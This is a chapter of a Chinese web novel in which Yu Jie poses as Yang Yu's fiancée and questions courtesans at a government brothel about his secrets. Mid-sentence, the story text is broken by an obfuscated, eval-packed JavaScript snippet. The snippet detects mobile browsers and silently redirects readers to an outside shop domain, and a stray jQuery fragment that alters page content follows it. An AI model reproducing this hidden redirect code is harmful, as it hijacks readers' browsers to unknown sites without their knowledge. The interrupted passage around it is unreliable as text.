随后进来的男倡,身穿藕荷色锦制短衣,衣摆和袖口都绣着淡粉色的荷花纹,个子高挑,皮肤是常年不见光的瓷白色,眉眼端正,鼻梁挺直,嘴角带着恰到好处的笑意,看着不过十八九岁的年纪。
一进门,首先观察两人的关系,之后在靠近虞捷的一侧坐下,扭动肩膀松开衣领,让锦衣勾勒出流畅的腰线,正要开始倒酒,却听虞捷省略所有铺垫,道上了一句:“听说羊昱、羊公子经常来这里?”
“您是?”
“我是,咳咳,”虞捷瞄了眼跪坐在角落的二狗,希望他能从她这一眼明白她的意思,“羊昱的未婚妻,我是季明从外地迎来的,但听说他在这里的风评不太好,想了解一下其人。”
男倡愣了下,又见同伴无意中露出腰上的符牌,收敛笑意,合拢衣襟,正襟危坐。
“羊都尉确实来过不少次,但都是跟着县府里那些人一起来的,他没有单独来过。”
“此话当真?”
话是对着男倡说的,眼睛却扫向二狗。
“当真。”
同时,二狗也微微点头,同意了这个答案。
虞捷又道:“可我听他儿子说,他曾经在这里被好几个女倡抓进私密隔间里,闹得人尽皆知,这又是怎么回事?”
“夫人,这件事是我们的疏忽,”男倡说话时,还不自觉地扫过松桔,见对方神色如常,才继续说,“能在我们这里服侍的,大多出身都不太好,所以也有些和羊氏有仇的人家的子女,那次也是见他落单,以为可以复仇,这才做了傻事。我们已经教训过她们,并禁止她们再接待县府来的客人了。”
“没有赶走?”
“没,皇后殿下有旨,只要没犯杀人大罪,官倡楼就得给我们一口饭吃,不能随便把人推出去。”
“我想见见她们。”
“她们现在在接待别的客人,还请您不要为难。”
这个点有别的客人?虞捷的余光扫过二狗,见对方不着声色摇摇头,明白这是男倡的谎话,正要揭穿,就听松桔突然笑了一声,接话道:“没事,她就是随便问问,不用紧张,我们也是初来乍到,还不知道你们这里有什么特别的,我刚看你们的清单上,一块‘桂花糕’就要二十钱,这价格可比京城还贵啊。玉做的?”
虞捷不满松桔岔开话题,可当她的视线看向松桔时,却见他不着声色地往她身边靠了靠,一只手拿起糕点,一只手在她身后拍了拍,示意她看向二狗。
会意后,喝了口甜酒,道:“我想去如厕,君兰,你带我去一下。”
“好的,客官,请随我来。”
木门悄然关闭,松桔悄悄叹气,然后一边吃糕点,一边听男倡滔滔不绝讲食物的来历、寓意、民间故事……他点话多的,就是要确保自己不说话,对方也能一直往下说,若是聊出内幕最好,聊不出也能给虞捷争取时间。
“……我听说,是您点的我,所以您是……”
“我对男人没有去床上的兴趣。”
“哦。”
男倡瞥了眼不该看的位置,虽然衣摆挡着,但在这里阅人无数,不需要直接看到也能结合其他部位判断,然后为自己逃过一劫松了口气。
二狗带着虞捷离开房间,来到走廊上,此时还没到官倡楼的客人最多的时候,两侧的纱幔和帷幕后都空空如也,他轻声解释道:“我们有规定,不能让客人的家属面对招待过客人的人。据说以前有人因此闹事,把倡人的脸都毁了。”
虞捷这才明白。难怪松桔要拦住她。
“那你这是?”
“我给你指个路。”二狗毫不客气,说完还不忘补充一句,“不过你可别说是我说的。”
二狗带她到了茅厕前,压着声音说:“你进去之后,我会往外站,你再从我背后溜出去,按规矩,谁带出来,就要由谁带回去。所以在你回来之前,我会一直在这里。姐姐们的住处在后院,你说‘听松阁’的人来了,她们就会出来了。”
“‘听松阁’?”
“有个女客人每隔七日,过了正午就会来,今天刚好是她会来的日子,这个客人听说她们被禁止接待贵客,少了不少钱,所以每次都会点她们。今天还没来,但也快到时间了,其他人不会发现问题。”
“好。”
两个人一唱一和,在茅厕前演了出好戏,虞捷便顺利脱身。可脱身后,她才意识到,她不知道后院怎么去。
在一楼转了两圈没找到路,却第二次来到入口。
就在她准备回头去找二狗时,经过的龟奴和同伴说:“听松阁的客人到了,我送她上去,你快点去找她们。”
听松阁?
她的脚步一顿,悄悄地从转角探出头,出现在眼前的,赫然是前两天在寺院里见到的那个人,哪怕她记不住脸,也认得女人的衣服,用华美高昂的布做素服,一个县城里、在这么短的距离里,很难找到第二个。
她缩回脑袋,准备偷偷跟着女人走向听松阁,然后……然后再说。
虞捷决定把困难交给未来的自己。
“客人,请问您是哪个房间的?接待您的龟奴没带着您吗?”
想法很美好,现实很残忍,虞捷还未来得及迈开脚,就被察觉到她异样的龟奴抓了个现行。
“呃,我也不知道我是哪个房间,接待我的,接待我的……”
余光里,将她和松桔带进来的龟奴正在靠近,她即将暴露行踪,而且还可能牵连帮她溜出来的二狗。
千钧一发之时,那个女人注意到她,眼底闪过一丝诧异,然后手指一挥:“那是我侄女,她陪我来的,刚才去茅厕了。让她跟我上来就行。”
……
“谢谢。”
坐在听松阁中,虞捷小声道谢。
和她刚才呆的房间不同,听松阁位于一楼的角落,打开窗门就能看到一小块竹林和一个小池塘,顾名思义“听松阁”。
这个房间里,没有香薰,也没有香艳的绒绣画,取而代之的,是一副竹林的风景画。
十分雅致。
“你是小桔的朋友,为什么会在这里?”女人让
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671205|206323||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
少年给她倒上茶水,又让少年给虞捷也倒了一杯,然后不着声色地、像是随口一问,道,“小桔也来了?”
“嗯。我们一起来的。”
女人的脸上浮现出暧昧,从上到下打量了她一番,赞许地点点头:“让这些女孩子帮你打扮过了吗?”
“打扮?”
虞捷没明白。
“看来小桔没告诉你,官倡楼不仅提供倡人服务,也提供夫妻生活服务。”她说,“想要什么样的氛围都能帮忙调出来,他也真是,无妨,我让她们带你去打扮。”
虞捷的脸唰地红了,她不知道夫妻生活是什么,但她听得懂“夫妻”:“您误会了,我和小桔不是那个关系。”
“傻孩子,无缘无故,为什么带你进来?”女人的声音很温柔,而且完全相信松桔带虞捷来的目的,“那几个女孩子手很巧,跟着她们去里屋就好。”
说完,女人提到的几个女孩子推开门走了进来,见女人带来客人,一时有些诧异,听完女人的解释,眼睛里立刻飞上喜悦。
“好呀!交给我们吧!”
“快来快来!”
“到这边来!”
虞捷想拒绝时,忽然想起,自己这次的目的,正是要单独和她们聊聊,这才被半推半就地送进单独的房间。
几个女孩子叽叽喳喳给她挑选衣服,掏出来的衣服里,甚至有半个胸都露出来的,看的她脸颊绯红,连连摇头。
“也不知道那位松郎喜欢什么样的,哎呀,客人,您至少得告诉我们,他是个什么样的人,我们才好帮您选嘛。”
“比、比起那个,”虞捷鼓足勇气,打断她们,然后提出自己的问题,“其实,其实是她误会了。我其实这次来,是因为,羊昱想娶我,但我怀疑他有问题,又听说各位姐姐好像知道他的秘密,这才、这才让松郎带我来。”
“……”
房间突然安静了,连风都好像停了下来。
沉默与死寂悄无声息地蔓延。
虞捷小心翼翼地瞄向几个女孩子。
拿着半透的素纱睡衣的女孩子攥紧手中的衣物,正在用胭脂调色的女孩子的手指戳进胭脂中半天没动,给她选发饰的女孩子甚至将发饰换成了发簪。
“抱歉,我好像提到你们的伤心事了。”
“……”捧着衣服的女孩子率先开口,“您说的没错,我们确实知道些事情——”
“——你和她说这些做什么”拿着发簪的女孩子厉声道,无意中捏紧了双手端着的又尖又长的发簪柄,“忘了吗!很久以前也有个女孩子说想了解羊氏,当时还是水仙姐姐接待的。结果呢!什么都说了,女孩子也说自己明白了,最后也没揭发!成了一丘之貉!”
“有钱能够买到一切,哪怕是人心。”调色的女孩子冷着声音,“他们羊氏都一样,根本不怕自己想娶的人知道真面目,反正他们有钱,就是不知道那些钱,都是从哪里来的。”
“你请回吧,我们不会说的。傅夫人那边,我们会说已经送你上去了,不要再来了。”